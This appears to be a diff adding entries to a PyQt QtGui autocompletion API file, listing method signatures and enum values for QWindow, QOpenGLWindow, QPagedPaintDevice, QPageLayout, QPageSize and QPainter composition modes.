+QtGui.QWindow.requestUpdate?4() +QtGui.QWindow.screenChanged?4(QScreen) +QtGui.QWindow.modalityChanged?4(Qt.WindowModality) +QtGui.QWindow.windowStateChanged?4(Qt.WindowState) +QtGui.QWindow.xChanged?4(int) +QtGui.QWindow.yChanged?4(int) +QtGui.QWindow.widthChanged?4(int) +QtGui.QWindow.heightChanged?4(int) +QtGui.QWindow.minimumWidthChanged?4(int) +QtGui.QWindow.minimumHeightChanged?4(int) +QtGui.QWindow.maximumWidthChanged?4(int) +QtGui.QWindow.maximumHeightChanged?4(int) +QtGui.QWindow.visibleChanged?4(bool) +QtGui.QWindow.contentOrientationChanged?4(Qt.ScreenOrientation) +QtGui.QWindow.focusObjectChanged?4(QObject) +QtGui.QWindow.windowTitleChanged?4(QString) +QtGui.QWindow.exposeEvent?4(QExposeEvent) +QtGui.QWindow.resizeEvent?4(QResizeEvent) +QtGui.QWindow.moveEvent?4(QMoveEvent) +QtGui.QWindow.focusInEvent?4(QFocusEvent) +QtGui.QWindow.focusOutEvent?4(QFocusEvent) +QtGui.QWindow.showEvent?4(QShowEvent) +QtGui.QWindow.hideEvent?4(QHideEvent) +QtGui.QWindow.event?4(QEvent) -> bool +QtGui.QWindow.keyPressEvent?4(QKeyEvent) +QtGui.QWindow.keyReleaseEvent?4(QKeyEvent) +QtGui.QWindow.mousePressEvent?4(QMouseEvent) +QtGui.QWindow.mouseReleaseEvent?4(QMouseEvent) +QtGui.QWindow.mouseDoubleClickEvent?4(QMouseEvent) +QtGui.QWindow.mouseMoveEvent?4(QMouseEvent) +QtGui.QWindow.wheelEvent?4(QWheelEvent) +QtGui.QWindow.touchEvent?4(QTouchEvent) +QtGui.QWindow.tabletEvent?4(QTabletEvent) +QtGui.QWindow.visibility?4() -> QWindow.Visibility +QtGui.QWindow.setVisibility?4(QWindow.Visibility) +QtGui.QWindow.opacity?4() -> float +QtGui.QWindow.setMask?4(QRegion) +QtGui.QWindow.mask?4() -> QRegion +QtGui.QWindow.fromWinId?4(quintptr) -> QWindow +QtGui.QWindow.visibilityChanged?4(QWindow.Visibility) +QtGui.QWindow.activeChanged?4() +QtGui.QWindow.opacityChanged?4(float) +QtGui.QWindow.parent?4(QWindow.AncestorMode) -> QWindow +QtGui.QWindow.setFlag?4(Qt.WindowType, bool on=True) +QtGui.QWindow.windowStates?4() -> Qt.WindowStates +QtGui.QWindow.setWindowStates?4(Qt.WindowStates) +QtGui.QWindow.startSystemResize?4(Qt.Edges) -> bool +QtGui.QWindow.startSystemMove?4() -> bool +QtGui.QPaintDeviceWindow.update?4(QRect) +QtGui.QPaintDeviceWindow.update?4(QRegion) +QtGui.QPaintDeviceWindow.update?4() +QtGui.QPaintDeviceWindow.paintEvent?4(QPaintEvent) +QtGui.QPaintDeviceWindow.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QPaintDeviceWindow.exposeEvent?4(QExposeEvent) +QtGui.QPaintDeviceWindow.event?4(QEvent) -> bool +QtGui.QOpenGLWindow.UpdateBehavior?10 +QtGui.QOpenGLWindow.UpdateBehavior.NoPartialUpdate?10 +QtGui.QOpenGLWindow.UpdateBehavior.PartialUpdateBlit?10 +QtGui.QOpenGLWindow.UpdateBehavior.PartialUpdateBlend?10 +QtGui.QOpenGLWindow?1(QOpenGLWindow.UpdateBehavior updateBehavior=QOpenGLWindow.NoPartialUpdate, QWindow parent=None) +QtGui.QOpenGLWindow.__init__?1(self, QOpenGLWindow.UpdateBehavior updateBehavior=QOpenGLWindow.NoPartialUpdate, QWindow parent=None) +QtGui.QOpenGLWindow?1(QOpenGLContext, QOpenGLWindow.UpdateBehavior updateBehavior=QOpenGLWindow.NoPartialUpdate, QWindow parent=None) +QtGui.QOpenGLWindow.__init__?1(self, QOpenGLContext, QOpenGLWindow.UpdateBehavior updateBehavior=QOpenGLWindow.NoPartialUpdate, QWindow parent=None) +QtGui.QOpenGLWindow.updateBehavior?4() -> QOpenGLWindow.UpdateBehavior +QtGui.QOpenGLWindow.isValid?4() -> bool +QtGui.QOpenGLWindow.makeCurrent?4() +QtGui.QOpenGLWindow.doneCurrent?4() +QtGui.QOpenGLWindow.context?4() -> QOpenGLContext +QtGui.QOpenGLWindow.defaultFramebufferObject?4() -> int +QtGui.QOpenGLWindow.grabFramebuffer?4() -> QImage +QtGui.QOpenGLWindow.shareContext?4() -> QOpenGLContext +QtGui.QOpenGLWindow.frameSwapped?4() +QtGui.QOpenGLWindow.initializeGL?4() +QtGui.QOpenGLWindow.resizeGL?4(int, int) +QtGui.QOpenGLWindow.paintGL?4() +QtGui.QOpenGLWindow.paintUnderGL?4() +QtGui.QOpenGLWindow.paintOverGL?4() +QtGui.QOpenGLWindow.paintEvent?4(QPaintEvent) +QtGui.QOpenGLWindow.resizeEvent?4(QResizeEvent) +QtGui.QOpenGLWindow.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QPagedPaintDevice.PdfVersion?10 +QtGui.QPagedPaintDevice.PdfVersion.PdfVersion_1_4?10 +QtGui.QPagedPaintDevice.PdfVersion.PdfVersion_A1b?10 +QtGui.QPagedPaintDevice.PdfVersion.PdfVersion_1_6?10 +QtGui.QPagedPaintDevice.PageSize?10 +QtGui.QPagedPaintDevice.PageSize.A4?10 +QtGui.QPagedPaintDevice.PageSize.B5?10 +QtGui.QPagedPaintDevice.PageSize.Letter?10 +QtGui.QPagedPaintDevice.PageSize.Legal?10 +QtGui.QPagedPaintDevice.PageSize.Executive?10 +QtGui.QPagedPaintDevice.PageSize.A0?10 +QtGui.QPagedPaintDevice.PageSize.A1?10 +QtGui.QPagedPaintDevice.PageSize.A2?10 +QtGui.QPagedPaintDevice.PageSize.A3?10 +QtGui.QPagedPaintDevice.PageSize.A5?10 +QtGui.QPagedPaintDevice.PageSize.A6?10 +QtGui.QPagedPaintDevice.PageSize.A7?10 +QtGui.QPagedPaintDevice.PageSize.A8?10 +QtGui.QPagedPaintDevice.PageSize.A9?10 +QtGui.QPagedPaintDevice.PageSize.B0?10 +QtGui.QPagedPaintDevice.PageSize.B1?10 +QtGui.QPagedPaintDevice.PageSize.B10?10 +QtGui.QPagedPaintDevice.PageSize.B2?10 +QtGui.QPagedPaintDevice.PageSize.B3?10 +QtGui.QPagedPaintDevice.PageSize.B4?10 +QtGui.QPagedPaintDevice.PageSize.B6?10 +QtGui.QPagedPaintDevice.PageSize.B7?10 +QtGui.QPagedPaintDevice.PageSize.B8?10 +QtGui.QPagedPaintDevice.PageSize.B9?10 +QtGui.QPagedPaintDevice.PageSize.C5E?10 +QtGui.QPagedPaintDevice.PageSize.Comm10E?10 +QtGui.QPagedPaintDevice.PageSize.DLE?10 +QtGui.QPagedPaintDevice.PageSize.Folio?10 +QtGui.QPagedPaintDevice.PageSize.Ledger?10 +QtGui.QPagedPaintDevice.PageSize.Tabloid?10 +QtGui.QPagedPaintDevice.PageSize.Custom?10 +QtGui.QPagedPaintDevice.PageSize.A10?10 +QtGui.QPagedPaintDevice.PageSize.A3Extra?10 +QtGui.QPagedPaintDevice.PageSize.A4Extra?10 +QtGui.QPagedPaintDevice.PageSize.A4Plus?10 +QtGui.QPagedPaintDevice.PageSize.A4Small?10 +QtGui.QPagedPaintDevice.PageSize.A5Extra?10 +QtGui.QPagedPaintDevice.PageSize.B5Extra?10 +QtGui.QPagedPaintDevice.PageSize.JisB0?10 +QtGui.QPagedPaintDevice.PageSize.JisB1?10 +QtGui.QPagedPaintDevice.PageSize.JisB2?10 +QtGui.QPagedPaintDevice.PageSize.JisB3?10 +QtGui.QPagedPaintDevice.PageSize.JisB4?10 +QtGui.QPagedPaintDevice.PageSize.JisB5?10 +QtGui.QPagedPaintDevice.PageSize.JisB6?10 +QtGui.QPagedPaintDevice.PageSize.JisB7?10 +QtGui.QPagedPaintDevice.PageSize.JisB8?10 +QtGui.QPagedPaintDevice.PageSize.JisB9?10 +QtGui.QPagedPaintDevice.PageSize.JisB10?10 +QtGui.QPagedPaintDevice.PageSize.AnsiC?10 +QtGui.QPagedPaintDevice.PageSize.AnsiD?10 +QtGui.QPagedPaintDevice.PageSize.AnsiE?10 +QtGui.QPagedPaintDevice.PageSize.LegalExtra?10 +QtGui.QPagedPaintDevice.PageSize.LetterExtra?10 +QtGui.QPagedPaintDevice.PageSize.LetterPlus?10 +QtGui.QPagedPaintDevice.PageSize.LetterSmall?10 +QtGui.QPagedPaintDevice.PageSize.TabloidExtra?10 +QtGui.QPagedPaintDevice.PageSize.ArchA?10 +QtGui.QPagedPaintDevice.PageSize.ArchB?10 +QtGui.QPagedPaintDevice.PageSize.ArchC?10 +QtGui.QPagedPaintDevice.PageSize.ArchD?10 +QtGui.QPagedPaintDevice.PageSize.ArchE?10 +QtGui.QPagedPaintDevice.PageSize.Imperial7x9?10 +QtGui.QPagedPaintDevice.PageSize.Imperial8x10?10 +QtGui.QPagedPaintDevice.PageSize.Imperial9x11?10 +QtGui.QPagedPaintDevice.PageSize.Imperial9x12?10 +QtGui.QPagedPaintDevice.PageSize.Imperial10x11?10 +QtGui.QPagedPaintDevice.PageSize.Imperial10x13?10 +QtGui.QPagedPaintDevice.PageSize.Imperial10x14?10 +QtGui.QPagedPaintDevice.PageSize.Imperial12x11?10 +QtGui.QPagedPaintDevice.PageSize.Imperial15x11?10 +QtGui.QPagedPaintDevice.PageSize.ExecutiveStandard?10 +QtGui.QPagedPaintDevice.PageSize.Note?10 +QtGui.QPagedPaintDevice.PageSize.Quarto?10 +QtGui.QPagedPaintDevice.PageSize.Statement?10 +QtGui.QPagedPaintDevice.PageSize.SuperA?10 +QtGui.QPagedPaintDevice.PageSize.SuperB?10 +QtGui.QPagedPaintDevice.PageSize.Postcard?10 +QtGui.QPagedPaintDevice.PageSize.DoublePostcard?10 +QtGui.QPagedPaintDevice.PageSize.Prc16K?10 +QtGui.QPagedPaintDevice.PageSize.Prc32K?10 +QtGui.QPagedPaintDevice.PageSize.Prc32KBig?10 +QtGui.QPagedPaintDevice.PageSize.FanFoldUS?10 +QtGui.QPagedPaintDevice.PageSize.FanFoldGerman?10 +QtGui.QPagedPaintDevice.PageSize.FanFoldGermanLegal?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeB4?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeB5?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeB6?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC0?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC1?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC2?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC3?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC4?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC6?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC65?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC7?10 +QtGui.QPagedPaintDevice.PageSize.Envelope9?10 +QtGui.QPagedPaintDevice.PageSize.Envelope11?10 +QtGui.QPagedPaintDevice.PageSize.Envelope12?10 +QtGui.QPagedPaintDevice.PageSize.Envelope14?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeMonarch?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePersonal?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeChou3?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeChou4?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeInvite?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeItalian?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeKaku2?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeKaku3?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc1?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc2?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc3?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc4?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc5?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc6?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc7?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc8?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc9?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopePrc10?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeYou4?10 +QtGui.QPagedPaintDevice.PageSize.NPaperSize?10 +QtGui.QPagedPaintDevice.PageSize.AnsiA?10 +QtGui.QPagedPaintDevice.PageSize.AnsiB?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeC5?10 +QtGui.QPagedPaintDevice.PageSize.EnvelopeDL?10 +QtGui.QPagedPaintDevice.PageSize.Envelope10?10 +QtGui.QPagedPaintDevice.PageSize.LastPageSize?10 +QtGui.QPagedPaintDevice?1() +QtGui.QPagedPaintDevice.__init__?1(self) +QtGui.QPagedPaintDevice.newPage?4() -> bool +QtGui.QPagedPaintDevice.setPageSize?4(QPagedPaintDevice.PageSize) +QtGui.QPagedPaintDevice.pageSize?4() -> QPagedPaintDevice.PageSize +QtGui.QPagedPaintDevice.setPageSizeMM?4(QSizeF) +QtGui.QPagedPaintDevice.pageSizeMM?4() -> QSizeF +QtGui.QPagedPaintDevice.setMargins?4(QPagedPaintDevice.Margins) +QtGui.QPagedPaintDevice.margins?4() -> QPagedPaintDevice.Margins +QtGui.QPagedPaintDevice.setPageLayout?4(QPageLayout) -> bool +QtGui.QPagedPaintDevice.setPageSize?4(QPageSize) -> bool +QtGui.QPagedPaintDevice.setPageOrientation?4(QPageLayout.Orientation) -> bool +QtGui.QPagedPaintDevice.setPageMargins?4(QMarginsF) -> bool +QtGui.QPagedPaintDevice.setPageMargins?4(QMarginsF, QPageLayout.Unit) -> bool +QtGui.QPagedPaintDevice.pageLayout?4() -> QPageLayout +QtGui.QPagedPaintDevice.Margins.bottom?7 +QtGui.QPagedPaintDevice.Margins.left?7 +QtGui.QPagedPaintDevice.Margins.right?7 +QtGui.QPagedPaintDevice.Margins.top?7 +QtGui.QPagedPaintDevice.Margins?1() +QtGui.QPagedPaintDevice.Margins.__init__?1(self) +QtGui.QPagedPaintDevice.Margins?1(QPagedPaintDevice.Margins) +QtGui.QPagedPaintDevice.Margins.__init__?1(self, QPagedPaintDevice.Margins) +QtGui.QPageLayout.Mode?10 +QtGui.QPageLayout.Mode.StandardMode?10 +QtGui.QPageLayout.Mode.FullPageMode?10 +QtGui.QPageLayout.Orientation?10 +QtGui.QPageLayout.Orientation.Portrait?10 +QtGui.QPageLayout.Orientation.Landscape?10 +QtGui.QPageLayout.Unit?10 +QtGui.QPageLayout.Unit.Millimeter?10 +QtGui.QPageLayout.Unit.Point?10 +QtGui.QPageLayout.Unit.Inch?10 +QtGui.QPageLayout.Unit.Pica?10 +QtGui.QPageLayout.Unit.Didot?10 +QtGui.QPageLayout.Unit.Cicero?10 +QtGui.QPageLayout?1() +QtGui.QPageLayout.__init__?1(self) +QtGui.QPageLayout?1(QPageSize, QPageLayout.Orientation, QMarginsF, QPageLayout.Unit units=QPageLayout.Point, QMarginsF minMargins=QMarginsF(0,0,0,0)) +QtGui.QPageLayout.__init__?1(self, QPageSize, QPageLayout.Orientation, QMarginsF, QPageLayout.Unit units=QPageLayout.Point, QMarginsF minMargins=QMarginsF(0,0,0,0)) +QtGui.QPageLayout?1(QPageLayout) +QtGui.QPageLayout.__init__?1(self, QPageLayout) +QtGui.QPageLayout.swap?4(QPageLayout) +QtGui.QPageLayout.isEquivalentTo?4(QPageLayout) -> bool +QtGui.QPageLayout.isValid?4() -> bool +QtGui.QPageLayout.setMode?4(QPageLayout.Mode) +QtGui.QPageLayout.mode?4() -> QPageLayout.Mode +QtGui.QPageLayout.setPageSize?4(QPageSize, QMarginsF minMargins=QMarginsF(0,0,0,0)) +QtGui.QPageLayout.pageSize?4() -> QPageSize +QtGui.QPageLayout.setOrientation?4(QPageLayout.Orientation) +QtGui.QPageLayout.orientation?4() -> QPageLayout.Orientation +QtGui.QPageLayout.setUnits?4(QPageLayout.Unit) +QtGui.QPageLayout.units?4() -> QPageLayout.Unit +QtGui.QPageLayout.setMargins?4(QMarginsF) -> bool +QtGui.QPageLayout.setLeftMargin?4(float) -> bool +QtGui.QPageLayout.setRightMargin?4(float) -> bool +QtGui.QPageLayout.setTopMargin?4(float) -> bool +QtGui.QPageLayout.setBottomMargin?4(float) -> bool +QtGui.QPageLayout.margins?4() -> QMarginsF +QtGui.QPageLayout.margins?4(QPageLayout.Unit) -> QMarginsF +QtGui.QPageLayout.marginsPoints?4() -> QMargins +QtGui.QPageLayout.marginsPixels?4(int) -> QMargins +QtGui.QPageLayout.setMinimumMargins?4(QMarginsF) +QtGui.QPageLayout.minimumMargins?4() -> QMarginsF +QtGui.QPageLayout.maximumMargins?4() -> QMarginsF +QtGui.QPageLayout.fullRect?4() -> QRectF +QtGui.QPageLayout.fullRect?4(QPageLayout.Unit) -> QRectF +QtGui.QPageLayout.fullRectPoints?4() -> QRect +QtGui.QPageLayout.fullRectPixels?4(int) -> QRect +QtGui.QPageLayout.paintRect?4() -> QRectF +QtGui.QPageLayout.paintRect?4(QPageLayout.Unit) -> QRectF +QtGui.QPageLayout.paintRectPoints?4() -> QRect +QtGui.QPageLayout.paintRectPixels?4(int) -> QRect +QtGui.QPageSize.SizeMatchPolicy?10 +QtGui.QPageSize.SizeMatchPolicy.FuzzyMatch?10 +QtGui.QPageSize.SizeMatchPolicy.FuzzyOrientationMatch?10 +QtGui.QPageSize.SizeMatchPolicy.ExactMatch?10 +QtGui.QPageSize.Unit?10 +QtGui.QPageSize.Unit.Millimeter?10 +QtGui.QPageSize.Unit.Point?10 +QtGui.QPageSize.Unit.Inch?10 +QtGui.QPageSize.Unit.Pica?10 +QtGui.QPageSize.Unit.Didot?10 +QtGui.QPageSize.Unit.Cicero?10 +QtGui.QPageSize.PageSizeId?10 +QtGui.QPageSize.PageSizeId.A4?10 +QtGui.QPageSize.PageSizeId.B5?10 +QtGui.QPageSize.PageSizeId.Letter?10 +QtGui.QPageSize.PageSizeId.Legal?10 +QtGui.QPageSize.PageSizeId.Executive?10 +QtGui.QPageSize.PageSizeId.A0?10 +QtGui.QPageSize.PageSizeId.A1?10 +QtGui.QPageSize.PageSizeId.A2?10 +QtGui.QPageSize.PageSizeId.A3?10 +QtGui.QPageSize.PageSizeId.A5?10 +QtGui.QPageSize.PageSizeId.A6?10 +QtGui.QPageSize.PageSizeId.A7?10 +QtGui.QPageSize.PageSizeId.A8?10 +QtGui.QPageSize.PageSizeId.A9?10 +QtGui.QPageSize.PageSizeId.B0?10 +QtGui.QPageSize.PageSizeId.B1?10 +QtGui.QPageSize.PageSizeId.B10?10 +QtGui.QPageSize.PageSizeId.B2?10 +QtGui.QPageSize.PageSizeId.B3?10 +QtGui.QPageSize.PageSizeId.B4?10 +QtGui.QPageSize.PageSizeId.B6?10 +QtGui.QPageSize.PageSizeId.B7?10 +QtGui.QPageSize.PageSizeId.B8?10 +QtGui.QPageSize.PageSizeId.B9?10 +QtGui.QPageSize.PageSizeId.C5E?10 +QtGui.QPageSize.PageSizeId.Comm10E?10 +QtGui.QPageSize.PageSizeId.DLE?10 +QtGui.QPageSize.PageSizeId.Folio?10 +QtGui.QPageSize.PageSizeId.Ledger?10 +QtGui.QPageSize.PageSizeId.Tabloid?10 +QtGui.QPageSize.PageSizeId.Custom?10 +QtGui.QPageSize.PageSizeId.A10?10 +QtGui.QPageSize.PageSizeId.A3Extra?10 +QtGui.QPageSize.PageSizeId.A4Extra?10 +QtGui.QPageSize.PageSizeId.A4Plus?10 +QtGui.QPageSize.PageSizeId.A4Small?10 +QtGui.QPageSize.PageSizeId.A5Extra?10 +QtGui.QPageSize.PageSizeId.B5Extra?10 +QtGui.QPageSize.PageSizeId.JisB0?10 +QtGui.QPageSize.PageSizeId.JisB1?10 +QtGui.QPageSize.PageSizeId.JisB2?10 +QtGui.QPageSize.PageSizeId.JisB3?10 +QtGui.QPageSize.PageSizeId.JisB4?10 +QtGui.QPageSize.PageSizeId.JisB5?10 +QtGui.QPageSize.PageSizeId.JisB6?10 +QtGui.QPageSize.PageSizeId.JisB7?10 +QtGui.QPageSize.PageSizeId.JisB8?10 +QtGui.QPageSize.PageSizeId.JisB9?10 +QtGui.QPageSize.PageSizeId.JisB10?10 +QtGui.QPageSize.PageSizeId.AnsiC?10 +QtGui.QPageSize.PageSizeId.AnsiD?10 +QtGui.QPageSize.PageSizeId.AnsiE?10 +QtGui.QPageSize.PageSizeId.LegalExtra?10 +QtGui.QPageSize.PageSizeId.LetterExtra?10 +QtGui.QPageSize.PageSizeId.LetterPlus?10 +QtGui.QPageSize.PageSizeId.LetterSmall?10 +QtGui.QPageSize.PageSizeId.TabloidExtra?10 +QtGui.QPageSize.PageSizeId.ArchA?10 +QtGui.QPageSize.PageSizeId.ArchB?10 +QtGui.QPageSize.PageSizeId.ArchC?10 +QtGui.QPageSize.PageSizeId.ArchD?10 +QtGui.QPageSize.PageSizeId.ArchE?10 +QtGui.QPageSize.PageSizeId.Imperial7x9?10 +QtGui.QPageSize.PageSizeId.Imperial8x10?10 +QtGui.QPageSize.PageSizeId.Imperial9x11?10 +QtGui.QPageSize.PageSizeId.Imperial9x12?10 +QtGui.QPageSize.PageSizeId.Imperial10x11?10 +QtGui.QPageSize.PageSizeId.Imperial10x13?10 +QtGui.QPageSize.PageSizeId.Imperial10x14?10 +QtGui.QPageSize.PageSizeId.Imperial12x11?10 +QtGui.QPageSize.PageSizeId.Imperial15x11?10 +QtGui.QPageSize.PageSizeId.ExecutiveStandard?10 +QtGui.QPageSize.PageSizeId.Note?10 +QtGui.QPageSize.PageSizeId.Quarto?10 +QtGui.QPageSize.PageSizeId.Statement?10 +QtGui.QPageSize.PageSizeId.SuperA?10 +QtGui.QPageSize.PageSizeId.SuperB?10 +QtGui.QPageSize.PageSizeId.Postcard?10 +QtGui.QPageSize.PageSizeId.DoublePostcard?10 +QtGui.QPageSize.PageSizeId.Prc16K?10 +QtGui.QPageSize.PageSizeId.Prc32K?10 +QtGui.QPageSize.PageSizeId.Prc32KBig?10 +QtGui.QPageSize.PageSizeId.FanFoldUS?10 +QtGui.QPageSize.PageSizeId.FanFoldGerman?10 +QtGui.QPageSize.PageSizeId.FanFoldGermanLegal?10 +QtGui.QPageSize.PageSizeId.EnvelopeB4?10 +QtGui.QPageSize.PageSizeId.EnvelopeB5?10 +QtGui.QPageSize.PageSizeId.EnvelopeB6?10 +QtGui.QPageSize.PageSizeId.EnvelopeC0?10 +QtGui.QPageSize.PageSizeId.EnvelopeC1?10 +QtGui.QPageSize.PageSizeId.EnvelopeC2?10 +QtGui.QPageSize.PageSizeId.EnvelopeC3?10 +QtGui.QPageSize.PageSizeId.EnvelopeC4?10 +QtGui.QPageSize.PageSizeId.EnvelopeC6?10 +QtGui.QPageSize.PageSizeId.EnvelopeC65?10 +QtGui.QPageSize.PageSizeId.EnvelopeC7?10 +QtGui.QPageSize.PageSizeId.Envelope9?10 +QtGui.QPageSize.PageSizeId.Envelope11?10 +QtGui.QPageSize.PageSizeId.Envelope12?10 +QtGui.QPageSize.PageSizeId.Envelope14?10 +QtGui.QPageSize.PageSizeId.EnvelopeMonarch?10 +QtGui.QPageSize.PageSizeId.EnvelopePersonal?10 +QtGui.QPageSize.PageSizeId.EnvelopeChou3?10 +QtGui.QPageSize.PageSizeId.EnvelopeChou4?10 +QtGui.QPageSize.PageSizeId.EnvelopeInvite?10 +QtGui.QPageSize.PageSizeId.EnvelopeItalian?10 +QtGui.QPageSize.PageSizeId.EnvelopeKaku2?10 +QtGui.QPageSize.PageSizeId.EnvelopeKaku3?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc1?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc2?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc3?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc4?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc5?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc6?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc7?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc8?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc9?10 +QtGui.QPageSize.PageSizeId.EnvelopePrc10?10 +QtGui.QPageSize.PageSizeId.EnvelopeYou4?10 +QtGui.QPageSize.PageSizeId.NPageSize?10 +QtGui.QPageSize.PageSizeId.NPaperSize?10 +QtGui.QPageSize.PageSizeId.AnsiA?10 +QtGui.QPageSize.PageSizeId.AnsiB?10 +QtGui.QPageSize.PageSizeId.EnvelopeC5?10 +QtGui.QPageSize.PageSizeId.EnvelopeDL?10 +QtGui.QPageSize.PageSizeId.Envelope10?10 +QtGui.QPageSize.PageSizeId.LastPageSize?10 +QtGui.QPageSize?1() +QtGui.QPageSize.__init__?1(self) +QtGui.QPageSize?1(QPageSize.PageSizeId) +QtGui.QPageSize.__init__?1(self, QPageSize.PageSizeId) +QtGui.QPageSize?1(QSize, QString name='', QPageSize.SizeMatchPolicy matchPolicy=QPageSize.FuzzyMatch) +QtGui.QPageSize.__init__?1(self, QSize, QString name='', QPageSize.SizeMatchPolicy matchPolicy=QPageSize.FuzzyMatch) +QtGui.QPageSize?1(QSizeF, QPageSize.Unit, QString name='', QPageSize.SizeMatchPolicy matchPolicy=QPageSize.FuzzyMatch) +QtGui.QPageSize.__init__?1(self, QSizeF, QPageSize.Unit, QString name='', QPageSize.SizeMatchPolicy matchPolicy=QPageSize.FuzzyMatch) +QtGui.QPageSize?1(QPageSize) +QtGui.QPageSize.__init__?1(self, QPageSize) +QtGui.QPageSize.swap?4(QPageSize) +QtGui.QPageSize.isEquivalentTo?4(QPageSize) -> bool +QtGui.QPageSize.isValid?4() -> bool +QtGui.QPageSize.key?4() -> QString +QtGui.QPageSize.name?4() -> QString +QtGui.QPageSize.id?4() -> QPageSize.PageSizeId +QtGui.QPageSize.windowsId?4() -> int +QtGui.QPageSize.definitionSize?4() -> QSizeF +QtGui.QPageSize.definitionUnits?4() -> QPageSize.Unit +QtGui.QPageSize.size?4(QPageSize.Unit) -> QSizeF +QtGui.QPageSize.sizePoints?4() -> QSize +QtGui.QPageSize.sizePixels?4(int) -> QSize +QtGui.QPageSize.rect?4(QPageSize.Unit) -> QRectF +QtGui.QPageSize.rectPoints?4() -> QRect +QtGui.QPageSize.rectPixels?4(int) -> QRect +QtGui.QPageSize.key?4(QPageSize.PageSizeId) -> QString +QtGui.QPageSize.name?4(QPageSize.PageSizeId) -> QString +QtGui.QPageSize.id?4(QSize, QPageSize.SizeMatchPolicy matchPolicy=QPageSize.FuzzyMatch) -> QPageSize.PageSizeId +QtGui.QPageSize.id?4(QSizeF, QPageSize.Unit, QPageSize.SizeMatchPolicy matchPolicy=QPageSize.FuzzyMatch) -> QPageSize.PageSizeId +QtGui.QPageSize.id?4(int) -> QPageSize.PageSizeId +QtGui.QPageSize.windowsId?4(QPageSize.PageSizeId) -> int +QtGui.QPageSize.definitionSize?4(QPageSize.PageSizeId) -> QSizeF +QtGui.QPageSize.definitionUnits?4(QPageSize.PageSizeId) -> QPageSize.Unit +QtGui.QPageSize.size?4(QPageSize.PageSizeId, QPageSize.Unit) -> QSizeF +QtGui.QPageSize.sizePoints?4(QPageSize.PageSizeId) -> QSize +QtGui.QPageSize.sizePixels?4(QPageSize.PageSizeId, int) -> QSize +QtGui.QPainter.PixmapFragmentHint?10 +QtGui.QPainter.PixmapFragmentHint.OpaqueHint?10 +QtGui.QPainter.CompositionMode?10 +QtGui.QPainter.CompositionMode.CompositionMode_SourceOver?10 +QtGui.QPainter.CompositionMode.CompositionMode_DestinationOver?10 +QtGui.QPainter.CompositionMode.CompositionMode_Clear?10 +QtGui.QPainter.CompositionMode.CompositionMode_Source?10 +QtGui.QPainter.CompositionMode.CompositionMode_Destination?10 +QtGui.QPainter.CompositionMode.CompositionMode_SourceIn?10 +QtGui.QPainter.CompositionMode.CompositionMode_DestinationIn?10 +QtGui.QPainter.CompositionMode.CompositionMode_SourceOut?10 +QtGui.QPainter.CompositionMode.CompositionMode_DestinationOut?10 +QtGui.QPainter.CompositionMode.CompositionMode_SourceAtop?10 +QtGui.QPainter.CompositionMode.CompositionMode_DestinationAtop?10 +QtGui.QPainter.CompositionMode.CompositionMode_Xor?10 +QtGui.QPainter.CompositionMode.CompositionMode_Plus?10 +QtGui.QPainter.CompositionMode.CompositionMode_Multiply?10 +QtGui.QPainter.CompositionMode.CompositionMode_Screen?10 +QtGui.QPainter.CompositionMode.CompositionMode_Overlay?10 +QtGui.QPainter.CompositionMode.CompositionMode_Darken?10 +QtGui.QPainter.CompositionMode.CompositionMode_Lighten?10 +QtGui.QPainter.CompositionMode.CompositionMode_ColorDodge?10 +QtGui.QPainter.CompositionMode.CompositionMode_ColorBurn?10 +QtGui.QPainter.CompositionMode.CompositionMode_HardLight?10 +QtGui.QPainter.CompositionMode.CompositionMode_SoftLight?10 +QtGui.QPainter.CompositionMode.CompositionMode_Difference?10 +QtGui.QPainter.CompositionMode.CompositionMode_Exclusion?10 +QtGui.QPainter.CompositionMode.RasterOp_SourceOrDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_SourceAndDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_SourceXorDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_NotSourceAndNotDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_NotSourceOrNotDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_NotSourceXorDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_NotSource?10 +QtGui.QPainter.CompositionMode.RasterOp_NotSourceAndDestination?10 